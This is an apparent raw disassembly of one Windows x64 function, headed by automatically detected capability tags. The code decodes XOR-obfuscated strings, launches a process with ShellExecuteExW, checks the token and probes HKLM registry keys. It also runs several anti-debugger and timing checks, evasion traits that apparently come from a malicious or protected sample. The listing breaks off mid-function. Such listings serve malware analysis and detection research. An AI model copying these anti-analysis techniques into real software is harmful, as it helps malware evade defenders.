Function at 0x14000b660
Capabilities:
Check for debugger via api
Check for process debug object
Check for time delay via queryperformancecounter
Check processdebugflags
Check processdebugport
Create process on windows
Query or enumerate registry value

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x2e8
movaps xmmword [rsp + 0x2d0], xmm6
mov qword [rsp + 0x50], 0
mov dword [rsp + 0x128], 0
mov dword [rsp + 0x148], 0
call sub.KERNEL32.dll_GetCurrentProcess
lea r8, [rsp + 0x50]
mov rcx, rax
mov edx, 8
call sub.ADVAPI32.dll_OpenProcessToken
test eax, eax
je 0x14000b844
mov rcx, qword [rsp + 0x50]
lea rdi, [rsp + 0x148]
mov qword [rsp + 0x20], rdi
lea rsi, [rsp + 0x128]
mov edx, 0x14
mov r8, rsi
mov r9d, 4
call sub.ADVAPI32.dll_GetTokenInformation
test eax, eax
je 0x14000b844
cmp dword [rsp + 0x128], 0
je 0x14000b844
lea rax, [0x141cf6e14]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
movabs rax, 0xae49b419b953f32e
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
call fcn.140006e20
movabs rcx, 0xb20247b16b37555f
xor rcx, qword [rax]
movabs rdx, 0xcc42b0eaa47743ab
xor rdx, qword [rax + 8]
movabs r8, 0xf19d7107d1a80565
xor r8, qword [rax + 0x10]
movabs r9, 0x7213c3c3a80a65f9
xor r9, qword [rax + 0x18]
movabs r10, 0xab246b7a471f7836
xor r10, qword [rax + 0x20]
mov r11d, 0xef2c33bf
xor r11d, dword [rax + 0x28]
mov ebx, r11d
shr ebx, 8
movzx eax, byte [rax + 0x2c]
xor al, 0x52
mov qword [rsp + 0x148], rcx
mov qword [rsp + 0x150], rdx
mov qword [rsp + 0x158], r8
mov qword [rsp + 0x160], r9
mov qword [rsp + 0x168], r10
mov byte [rsp + 0x170], r11b
shr r11d, 0x18
mov byte [rsp + 0x173], r11b
mov word [rsp + 0x171], bx
mov byte [rsp + 0x174], al
mov qword [rsp + 0x128], rdi
mov qword [rsp + 0x130], 0x2d
mov qword [rsp + 0x178], rsi
lea rax, [0x1400040e0]
mov qword [rsp + 0x180], rax
lea rax, [0x1400586d8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 2
mov qword [rsp + 0x70], 0
lea rax, [rsp + 0x178]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
lea rcx, [rsp + 0x50]
call fcn.140031190
jmp 0x14000c11a
lea r15, [rsp + 0x50]
lea rbx, [rsp + 0x128]
lea r14, [rsp + 0x148]
xorps xmm6, xmm6
lea rsi, [0x141cfda70]
nop word cs:[rax + rax]
mov rcx, r15
call fcn.14002db80
mov rdi, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
movabs rax, 0x8000000000000000
cmp rdi, rax
je 0x14000be47
mov r8, qword [rsp + 0x60]
mov rcx, r15
mov qword [rsp + 0x198], rdx
call fcn.14001b200
test byte [rsp + 0x50], 1
jne 0x14000eb9a
mov rbp, qword [rsp + 0x60]
test rbp, rbp
js 0x14000eb9a
mov qword [rsp + 0x1a0], rdi
mov r13, qword [rsp + 0x58]
je 0x14000b8f0
movzx eax, byte [0x141d0ba30]
xor ecx, ecx
mov rdx, rbp
call fcn.14003b500
mov rdi, rax
test rax, rax
jne 0x14000b8f5
jmp 0x14000eb9a
mov edi, 1
mov rcx, rdi
mov rdx, r13
mov r8, rbp
call fcn.140051c00
mov qword [rsp + 0x270], 0
mov qword [rsp + 0x278], 1
mov qword [rsp + 0x280], 0
lea rax, [rdi + rbp]
mov qword [rsp + 0x1c0], rdi
mov qword [rsp + 0x128], rdi
mov qword [rsp + 0x130], rax
mov word [rsp + 0x138], 0
mov dword [rsp + 0x140], 1
lea rcx, [rsp + 0x2b8]
mov rdx, rbx
call fcn.14002ae20
mov qword [rsp + 0x148], 1
mov qword [rsp + 0x150], 1
mov word [rsp + 0x158], 0
mov dword [rsp + 0x160], 1
lea rcx, [rsp + 0x1a8]
mov rdx, r14
call fcn.14002ae20
mov r15, qword [rsp + 0x2c0]
mov r12, qword [rsp + 0x1b0]
mov dword [rsp + 0x194], 0
movaps xmmword [rsp + 0xb0], xmm6
movaps xmmword [rsp + 0xa0], xmm6
movaps xmmword [rsp + 0x90], xmm6
movaps xmmword [rsp + 0x80], xmm6
movaps xmmword [rsp + 0x70], xmm6
movaps xmmword [rsp + 0x60], xmm6
movaps xmmword [rsp + 0x50], xmm6
mov al, 1
test al, al
je 0x14000eb9a
movzx eax, byte [0x141d0ba30]
mov edx, 8
xor ecx, ecx
call fcn.14003b500
test rax, rax
je 0x14000eb9a
mov word [rax], 0x72
mov ecx, 4
mov qword [rsp + 0x178], rcx
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x188], 1
mov r13d, 1
xor ebx, ebx
lea r14, [0x141cfda6b]
jmp 0x14000ba62
mov word [rax + r13*2], bx
inc r13
mov qword [rsp + 0x188], r13
mov ebx, edi
test bx, bx
jne 0x14000baf0
cmp r14, rsi
je 0x14000bba0
movzx ecx, byte [r14]
test cl, cl
js 0x14000ba8f
inc r14
mov ebx, ecx
xor edi, edi
cmp r13, qword [rsp + 0x178]
jne 0x14000ba50
jmp 0x14000bb00
mov ebx, ecx
and ebx, 0x1f
movzx r8d, byte [r14 + 1]
and r8d, 0x3f
cmp cl, 0xdf
jbe 0x14000bae0
movzx edx, byte [r14 + 2]
shl r8d, 6
and edx, 0x3f
or edx, r8d
cmp cl, 0xf0
jb 0x14000bb56
movzx ecx, byte [r14 + 3]
add r14, 4
and ebx, 7
shl ebx, 0x12
shl edx, 6
and ecx, 0x3f
or ecx, edx
or ebx, ecx
cmp ebx, 0xffff
jbe 0x14000baf0
jmp 0x14000bb67
add r14, 2
shl ebx, 6
or ebx, r8d
nop word [rax + rax]
xor edi, edi
cmp r13, qword [rsp + 0x178]
jne 0x14000ba50
lea rax, [0x141cfda6a]
sub rax, r14
add rax, 8
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 1
cmp di, 1
sbb rdx, 0
lea r8, [rdx + 2]
mov qword [rsp + 0x20], 2
mov r9d, 2
lea rcx, [rsp + 0x178]
mov rdx, r13
call fcn.140056440
mov rax, qword [rsp + 0x180]
jmp 0x14000ba50
add r14, 3
shl ebx, 0xc
or ebx, edx
cmp ebx, 0xffff
jbe 0x14000baf0
lea ecx, [rbx + 0xff0000]
shr ecx, 0xa
or ecx, 0xd800
and ebx, 0x3ff
or ebx, 0xdc00
mov edi, ebx
mov ebx, ecx
cmp r13, qword [rsp + 0x178]
jne 0x14000ba50
jmp 0x14000bb00
mov rbx, qword [rsp + 0x178]
mov r13, qword [rsp + 0x180]
xor ecx, ecx
mov edx, 6
call qword [sym.imp.ole32.dll_CoInitializeEx]
movabs rax, 0x14000000070
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], r12
mov dword [rsp + 0x80], 1
lea r15, [rsp + 0x50]
mov rcx, r15
call qword [sym.imp.shell32.dll_ShellExecuteExW]
test eax, eax
sete al
mov rcx, qword [rsp + 0xb8]
test rcx, rcx
sete dl
or dl, al
cmp dl, 1
jne 0x14000bc40
test rbx, rbx
lea r14, [rsp + 0x148]
je 0x14000bc2d
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, 0xffffffff
jmp 0x14000bc91
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0xb8]
lea rdx, [rsp + 0x194]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp eax, 1
mov edi, 0
sbb edi, edi
or edi, dword [rsp + 0x194]
test rbx, rbx
lea r14, [rsp + 0x148]
je 0x14000bc91
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rbx, [rsp + 0x128]
cmp qword [rsp + 0x1a8], 0
mov r13, qword [sym.imp.KERNEL32.dll_HeapFree]
je 0x14000bcbf
mov r8, qword [rsp + 0x1b0]
mov rcx, qword [0x141d0ba00]
xor edx, edx
call r13
cmp qword [rsp + 0x2b8], 0
je 0x14000bcde
mov r8, qword [rsp + 0x2c0]
mov rcx, qword [0x141d0ba00]
xor edx, edx
call r13
cmp qword [rsp + 0x270], 0
je 0x14000bcfd
mov r8, qword [rsp + 0x278]
mov rcx, qword [0x141d0ba00]
xor edx, edx
call r13
test rbp, rbp
je 0x14000bd16
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, qword [rsp + 0x1c0]
call r13
test edi, edi
je 0x14000bf9f
lea rax, [0x141cf3cd6]
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0x50]
movabs rax, 0x12f05d45a4f5dd8a
mov qword [rsp + 0x50], rax
mov rdx, qword [rsp + 0x50]
call fcn.1400066f0
mov rcx, qword [rax]
movabs rdx, 0xc94866dd7e18dbcd
xor rcx, rdx
mov rdx, qword [rax + 8]
movabs r8, 0xf5880ece77e72694
xor rdx, r8
mov r8, qword [rax + 0x10]
movabs r9, 0xf71717777e672826
xor r8, r9
mov r9, qword [rax + 0x18]
movabs r10, 0x838b586aac64ceb
xor r9, r10
movzx eax, byte [rax + 0x20]
xor al, 0x82
mov qword [rsp + 0x148], rcx
mov qword [rsp + 0x150], rdx
mov qword [rsp + 0x158], r8
mov qword [rsp + 0x160], r9
mov byte [rsp + 0x168], al
mov qword [rsp + 0x128], r14
mov qword [rsp + 0x130], 0x21
mov qword [rsp + 0x178], rbx
lea rax, [0x1400040e0]
mov qword [rsp + 0x180], rax
lea rax, [0x1400586d8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 2
mov qword [rsp + 0x70], 0
lea rax, [rsp + 0x178]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
mov rcx, r15
call fcn.140031190
cmp qword [rsp + 0x1a0], 0
je 0x14000b870
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, qword [rsp + 0x198]
call r13
jmp 0x14000b870
test rdx, rdx
je 0x14000bfc1
lea rax, [0x141cf684e]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
movabs rax, 0xe27f30f852032c95
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov r15, rdx
mov rdx, qword [rsp + 0x50]
call fcn.1400076a0
movabs rcx, 0x96c88b6862e16108
xor rcx, qword [rax]
movabs rdx, 0xf49e9aeb731cdffa
xor rdx, qword [rax + 8]
movabs r8, 0xd046e931dfbec84a
xor r8, qword [rax + 0x10]
movabs r9, 0x5726c007a1793fa1
xor r9, qword [rax + 0x18]
movzx eax, byte [rax + 0x20]
xor al, 0x14
mov qword [rsp + 0x148], rcx
mov qword [rsp + 0x150], rdx
mov qword [rsp + 0x158], r8
mov qword [rsp + 0x160], r9
mov byte [rsp + 0x168], al
mov qword [rsp + 0x128], r14
mov qword [rsp + 0x130], 0x21
mov qword [rsp + 0x178], rbx
lea rax, [0x1400040e0]
mov qword [rsp + 0x180], rax
lea rax, [0x1400586d8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 2
mov qword [rsp + 0x70], 0
lea rax, [rsp + 0x178]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
lea rcx, [rsp + 0x50]
call fcn.140031190
mov r8, r15
mov eax, r8d
and eax, 3
cmp eax, 1
jne 0x14000c11a
mov rsi, qword [r8 - 1]
mov rdi, qword [r8 + 7]
mov rax, qword [rdi]
test rax, rax
je 0x14000bf7e
mov rcx, rsi
call rax
mov r8, r15
dec r8
cmp qword [rdi + 8], 0
je 0x14000c10b
cmp qword [rdi + 0x10], 0x11
jae 0x14000c0ef
mov rdi, r8
jmp 0x14000c0f6
cmp qword [rsp + 0x1a0], 0
mov r8, qword [rsp + 0x198]
je 0x14000bfc1
mov rcx, qword [0x141d0ba00]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rax, [0x141cf144c]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
movabs rax, 0xd30e938823132730
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
call fcn.140007520
movabs rcx, 0xdd4498f387802bed
xor rcx, qword [rax]
movabs rdx, 0x91d42f3f8501241e
xor rdx, qword [rax + 8]
movabs r8, 0x308c057d924b61e6
xor r8, qword [rax + 0x10]
movabs r9, 0xf678364cb45c50ec
xor r9, qword [rax + 0x18]
movabs r10, 0x4451c39e6880c94
xor r10, qword [rax + 0x20]
movzx eax, word [rax + 0x28]
mov r11d, eax
xor r11b, 0xd8
shr eax, 8
xor al, 0x94
mov qword [rsp + 0x148], rcx
mov qword [rsp + 0x150], rdx
mov qword [rsp + 0x158], r8
mov qword [rsp + 0x160], r9
mov qword [rsp + 0x168], r10
mov byte [rsp + 0x170], r11b
mov byte [rsp + 0x171], al
mov qword [rsp + 0x128], r14
mov qword [rsp + 0x130], 0x2a
mov qword [rsp + 0x178], rbx
lea rax, [0x1400040e0]
mov qword [rsp + 0x180], rax
lea rax, [0x1400586d8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 2
mov qword [rsp + 0x70], 0
lea rax, [rsp + 0x178]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
lea rcx, [rsp + 0x50]
call fcn.140031190
jmp 0x14000eb3e
mov rdi, r8
mov rsi, qword [rsi - 8]
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8, rdi
mov rcx, qword [0x141d0ba00]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rsp + 0x50], 0
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x14000eba1
mov rsi, qword [rsp + 0x50]
mov rcx, qword [0x141d0ba18]
test rcx, rcx
jne 0x14000c178
mov qword [rsp + 0x50], 0
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x14000eba1
mov rcx, qword [rsp + 0x50]
mov qword [0x141d0ba18], rcx
test rcx, rcx
je 0x14000eb9a
mov rax, rsi
or rax, rcx
shr rax, 0x20
je 0x14000c18e
mov rax, rsi
xor edx, edx
div rcx
jmp 0x14000c194
mov eax, esi
xor edx, edx
div ecx
imul r8, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
mov rdx, rax
or rdx, rcx
shr rdx, 0x20
je 0x14000c1b8
xor edx, edx
div rcx
mov rsi, rax
jmp 0x14000c1be
xor edx, edx
div ecx
mov esi, eax
add rsi, r8
mov rax, rsi
shr rax, 9
movabs r14, 0x44b82fa09b5a53
mul r14
mov rdi, rdx
mov ecx, 0x23
call fcn.14002c710
mov qword [rsp + 0x50], 0
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x14000eba1
mov rbx, qword [rsp + 0x50]
mov rcx, qword [0x141d0ba18]
test rcx, rcx
jne 0x14000c240
mov qword [rsp + 0x50], 0
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x14000eba1
mov rcx, qword [rsp + 0x50]
mov qword [0x141d0ba18], rcx
test rcx, rcx
je 0x14000eb9a
mov rax, rbx
or rax, rcx
shr rax, 0x20
je 0x14000c256
mov rax, rbx
xor edx, edx
div rcx
jmp 0x14000c25c
mov eax, ebx
xor edx, edx
div ecx
imul r8, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
mov rdx, rax
or rdx, rcx
shr rdx, 0x20
je 0x14000c280
xor edx, edx
div rcx
mov rbx, rax
jmp 0x14000c286
xor edx, edx
div ecx
mov ebx, eax
add rbx, r8
mov rax, rbx
shr rax, 9
mul r14
mov r14, rdx
mov r8, qword [0x141d0ba18]
test r8, r8
jne 0x14000c2d3
mov qword [rsp + 0x50], 0
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x14000eba1
mov r8, qword [rsp + 0x50]
mov qword [0x141d0ba18], r8
test r8, r8
je 0x14000eb9a
shr rdi, 0xb
imul rax, rdi, 0x3b9aca00
sub rsi, rax
shr r14, 0xb
imul rax, r14, 0x3b9aca00
sub rbx, rax
cmp r8, 0x3b9aca00
ja 0x14000c304
mov eax, 0x3b9aca00
xor edx, edx
div r8d
jmp 0x14000c306
xor eax, eax
lea ecx, [rax - 0x3b9aca00]
xor edx, edx
cmp r8, 2
setb r8b
cmovae ecx, eax
xor r10d, r10d
mov rax, r14
sub rax, rdi
setne r10b
mov r9d, 0xff
cmovbe r9d, r10d
test r9b, r9b
jne 0x14000c342
cmp rbx, rsi
setne r9b
ja 0x14000c3ea
cmp r9b, 1
jne 0x14000c3ea
cmp r14, rdi
ja 0x14000eb9a
mov r9, rdi
sub r9, r14
cmp rbx, rsi
jbe 0x14000c381
test r9, r9
je 0x14000eb9a
dec r9
lea r10d, [rsi + 0x3b9aca00]
sub r10d, ebx
cmp r10d, 0x3b9aca00
jae 0x14000c390
jmp 0x14000c3b5
mov r10d, esi
sub r10d, ebx
cmp r10d, 0x3b9aca00
jb 0x14000c3b5
mov r11d, r10d
shr r11d, 9
imul r11, r11, 0x44b83
shr r11, 0x27
add r9, r11
jb 0x14000eb9a
imul r11d, r11d, 0x3b9aca00
sub r10d, r11d
mov dl, r8b
xor r8d, r8d
cmp r9, rdx
setne r8b
mov edx, 0xff
cmovb r8d, edx
xor r9d, r9d
cmp r10d, ecx
setne r9b
cmovb r9d, edx
test r8b, r8b
cmovne r9d, r8d
cmp r9b, 1
jne 0x14000eb9c
cmp r14, rdi
jb 0x14000eb9c
cmp rbx, rsi
jae 0x14000c40a
test rax, rax
je 0x14000eb9c
dec rax
add ebx, 0x3b9aca00
sub ebx, esi
cmp ebx, 0x3b9aca00
jb 0x14000c42b
shr ebx, 9
imul rcx, rbx, 0x44b83
shr rcx, 0x27
add rax, rcx
jb 0x14000eb9a
cmp rax, 0x19
jb 0x14000eb9c
lea rcx, [rsp + 0x50]
call fcn.140043220
cmp byte [rsp + 0x50], 0x12
jne 0x14000eb9a
call fcn.140008070
mov qword [rsp + 0x148], 0
mov dword [rsp + 0x178], 0
mov qword [rsp + 0x50], 0
mov dword [rsp + 0x128], 0
call sub.KERNEL32.dll_GetCurrentProcess
lea rbp, [rsp + 0x128]
mov rcx, rax
mov rdx, rbp
call sub.KERNEL32.dll_CheckRemoteDebuggerPresent
call sub.KERNEL32.dll_GetCurrentProcess
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x148]
mov rcx, rax
mov edx, 7
mov r9d, 8
call sub.ntdll.dll_NtQueryInformationProcess
call sub.KERNEL32.dll_GetCurrentProcess
mov qword [rsp + 0x20], 0
lea rdi, [rsp + 0x178]
mov rcx, rax
mov edx, 0x1f
mov r8, rdi
mov r9d, 4
call sub.ntdll.dll_NtQueryInformationProcess
call sub.KERNEL32.dll_GetCurrentProcess
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x50]
mov rcx, rax
mov edx, 0x1e
mov r9d, 8
call sub.ntdll.dll_NtQueryInformationProcess
cmp dword [rsp + 0x128], 0
jne 0x14000eb9c
cmp qword [rsp + 0x148], 0
jne 0x14000eb9c
cmp dword [rsp + 0x178], 0
je 0x14000eb9c
cmp qword [rsp + 0x50], 0
jne 0x14000eb9c
mov ecx, 0x80000001
call qword [sym.imp.KERNEL32.dll_SetThreadExecutionState]
mov ecx, 5
call fcn.14002c710
lea rax, [0x141cf5142]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
movabs rax, 0xa086c5609ab8c912
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
call fcn.140006950
mov r12, qword [rax]
mov r15, qword [rax + 8]
mov r14, qword [rax + 0x10]
mov esi, dword [rax + 0x18]
movzx ebx, byte [rax + 0x1c]
movzx eax, byte [0x141d0ba30]
mov edx, 0x1d
xor ecx, ecx
call fcn.14003b500
test rax, rax
je 0x14000eb9a
mov r13, rax
xor esi, 0xd258c56c
mov eax, esi
shr eax, 8
movabs rcx, 0x985c73fd24dbd744
xor r14, rcx
movabs rcx, 0x22972c4bebf61d00
xor r15, rcx
movabs rcx, 0x2d5df4e09008aa40
xor r12, rcx
xor bl, 0xd6
mov qword [r13], r12
mov qword [r13 + 8], r15
mov qword [r13 + 0x10], r14
mov byte [r13 + 0x18], sil
shr esi, 0x18
mov byte [r13 + 0x1b], sil
mov word [r13 + 0x19], ax
mov byte [r13 + 0x1c], bl
lea rcx, [rsp + 0x50]
mov r8d, 0x1d
mov rdx, r13
call fcn.1400308c0
cmp dword [rsp + 0x50], 2
jne 0x14000eb9c
mov rbx, qword [rsp + 0x58]
mov eax, ebx
and eax, 3
cmp eax, 1
jne 0x14000c68e
mov rsi, qword [rbx - 1]
mov r14, qword [rbx + 7]
mov rax, qword [r14]
test rax, rax
je 0x14000c655
mov rcx, rsi
call rax
dec rbx
cmp qword [r14 + 8], 0
je 0x14000c67c
cmp qword [r14 + 0x10], 0x11
jb 0x14000c66a
mov rsi, qword [rsi - 8]
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rax, [0x141cf73fc]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
movabs rax, 0x8a092dedc147b0e4
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
call fcn.1400065b0
movabs rcx, 0x1d6d13334682f546
xor rcx, qword [rax]
movabs rdx, 0xad27e2265e6eba76
xor rdx, qword [rax + 8]
movzx eax, byte [rax + 0x10]
xor al, 0x77
mov qword [rsp + 0x178], rcx
mov qword [rsp + 0x180], rdx
mov byte [rsp + 0x188], al
lea rax, [rsp + 0x189]
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rax
mov word [rsp + 0x60], 0
mov dword [rsp + 0x68], 1
lea rcx, [rsp + 0x148]
lea rsi, [rsp + 0x50]
mov rdx, rsi
call fcn.14002ae20
mov qword [rsp + 0x50], 0
mov dword [rsp + 0x128], 0
mov rdi, qword [rsp + 0x150]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
mov rcx, 0xffffffff80000002
mov rdx, rdi
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov esi, eax
test eax, eax
je 0x14000c91c
mov rbx, rsi
shl rbx, 0x20
or rbx, 2
cmp qword [rsp + 0x148], 0
je 0x14000c7b7
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
test esi, esi
je 0x14000c935
lea rax, [0x141cf2b7a]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
movabs rax, 0x4494897ad8e3b522
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
call fcn.140006690
movabs rcx, 0xfa7289371de8d021
xor rcx, qword [rax]
movabs rdx, 0x32bef1c7c1d3af3d
xor rdx, qword [rax + 8]
movzx eax, byte [rax + 0x10]
xor al, 4
mov qword [rsp + 0x128], rcx
mov qword [rsp + 0x130], rdx
mov byte [rsp + 0x138], al
lea rax, [rsp + 0x139]
mov r14, rbp
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0x58], rax
mov word [rsp + 0x60], 0
mov dword [rsp + 0x68], 1
lea rcx, [rsp + 0x148]
lea rdi, [rsp + 0x50]
mov rdx, rdi
call fcn.14002ae20
mov qword [rsp + 0x50], 0
mov rsi, qword [rsp + 0x150]
mov qword [rsp + 0x20], rdi
mov rcx, 0xffffffff80000002
mov rdx, rsi
xor r8d, r8d
mov r9d, 2
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebp, eax
mov rdi, qword [rsp + 0x50]
cmp qword [rsp + 0x148], 0
je 0x14000c8b7
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
test ebp, ebp
jne 0x14000eb9a
mov eax, ebx
and eax, 3
cmp eax, 1
mov rbp, r14
jne 0x14000c938
mov rsi, qword [rbx - 1]
mov r14, qword [rbx + 7]
mov rax, qword [r14]
test rax, rax
je 0x14000c8e1
mov rcx, rsi
call rax
dec rbx
cmp qword [r14 + 8], 0
je 0x14000c908
cmp qword [r14 + 0x10], 0x11
jb 0x14000c8f6
mov rsi, qword [rsi - 8]
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14000c938
mov rbx, qword [rsp + 0x50]
cmp qword [rsp + 0x148], 0
jne 0x14000c7a5
jmp 0x14000c7b7
mov rdi, rbx
mov qword [rsp + 0x1c8], r13
lea rax, [0x141cead2a]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
movabs rax, 0x63304b1996ed1805
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
call fcn.140006f10
mov ecx, 0x9ca83af0
xor ecx, dword [rax]
movzx eax, byte [rax + 4]
xor al, 0x6b
mov dword [rsp + 0x128], ecx
mov byte [rsp + 0x12c], al
lea rax, [rsp + 0x12d]
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0x58], rax
mov word [rsp + 0x60], 0
mov dword [rsp + 0x68], 1
lea rcx, [rsp + 0x148]
lea rdx, [rsp + 0x50]
call fcn.14002ae20
mov dword [rsp + 0x1a8], 0x800
mov dword [rsp + 0x178], 0
movzx eax, byte [0x141d0ba30]
mov r14d, 0x800
mov edx, 0x800
xor ecx, ecx
call fcn.14003b500
test rax, rax
je 0x14000eb9a
mov rsi, rax
mov qword [rsp + 0x50], 0x800
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 0
mov r12, qword [rsp + 0x150]
xor ebp, ebp
mov r13, qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rbx, r14
sub rbx, rbp
nop dword [rax + rax]
lea rax, [rsp + 0x1a8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
mov rcx, rdi
mov rdx, r12
xor r8d, r8d
lea r9, [rsp + 0x178]
call r13
cmp eax, 0xea
jne 0x14000ca97
mov r8d, dword [rsp + 0x1a8]
cmp rbx, r8
jae 0x14000ca30
mov qword [rsp + 0x20], 1
mov r9d, 1
lea rcx, [rsp + 0x50]
mov rdx, rbp
call fcn.140056440
mov r14, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
jmp 0x14000ca25
mov r15d, eax
test eax, eax
jne 0x14000caca
mov r15d, dword [rsp + 0x1a8]
mov qword [rsp + 0x60], r15
mov r13d, dword [rsp + 0x178]
cmp r13d, 0xb
jbe 0x14000caf6
movabs r15, 0xde00000002
test r14, r14
jne 0x14000cad7
jmp 0x14000cae9
shl r15, 0x20
or r15, 2
test r14, r14
je 0x14000cae9
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
movabs r14, 0x8000000000000000
mov rsi, r15
cmp qword [rsp + 0x148], 0
je 0x14000cb13
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, r12
call qword [sym.imp.KERNEL32.dll_HeapFree]
movabs rax, 0x8000000000000000
cmp r14, rax
jne 0x14000cb37
mov r12, rsi
lea r14, [rsp + 0x128]
lea r15, [rsp + 0x148]
jmp 0x14000cb89
mov bpl, 1
cmp r13b, 5
je 0x14000cb4d
movzx eax, r13b
cmp eax, 4
jne 0x14000eb7a
cmp r15, 4
jne 0x14000eb5a
xor ebp, ebp
lea r15, [rsp + 0x148]
test r14, r14
je 0x14000cb78
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
test bpl, bpl
lea r14, [rsp + 0x128]
je 0x14000eba9
mov eax, r12d
and eax, 3
cmp eax, 1
jne 0x14000cbe4
mov rsi, qword [r12 - 1]
mov rbx, qword [r12 + 7]
mov rax, qword [rbx]
test rax, rax
je 0x14000cbab
mov rcx, rsi
call rax
dec r12
cmp qword [rbx + 8], 0
je 0x14000cbd2
cmp qword [rbx + 0x10], 0x11
jb 0x14000cbc0
mov rsi, qword [rsi - 8]
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, r12
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rax, [0x141cf809b]
mov qword [rsp + 0x50], rax
